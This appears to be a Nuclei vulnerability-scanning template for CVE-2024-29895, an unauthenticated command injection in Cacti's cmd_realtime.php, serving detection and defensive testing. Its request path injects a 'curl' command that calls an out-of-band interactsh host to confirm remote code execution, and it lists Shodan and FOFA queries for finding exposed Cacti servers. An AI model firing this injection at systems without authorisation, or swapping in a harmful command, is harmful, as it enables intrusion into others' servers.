50 lines
2.0 KiB
YAML
50 lines
2.0 KiB
YAML
id: CVE-2024-29895
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info:
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name: Cacti cmd_realtime.php - Command Injection
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author: pussycat0x
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severity: critical
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description: |
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Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.
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reference:
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- https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC
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- https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119
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- https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d
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- https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc
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- https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2024-29895
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cwe-id: CWE-77
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epss-score: 0.00045
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epss-percentile: 0.14706
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metadata:
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max-request: 1
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vendor: cacti
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product: cacti
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shodan-query: http.favicon.hash:-1797138069
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fofa-query: icon_hash="-1797138069"
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tags: cve,cve2024,cacti,rce
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http:
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- method: GET
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path:
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- "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022036ca4f58d85a591e3fe884da59281548e9500972732050dd3c92e899ce68a962022100d81c2817da1936d80d54210d249046aa944f89ae9058d6df14a86cedf00535b1:922c64590222798bb761d5b6d8e72950 |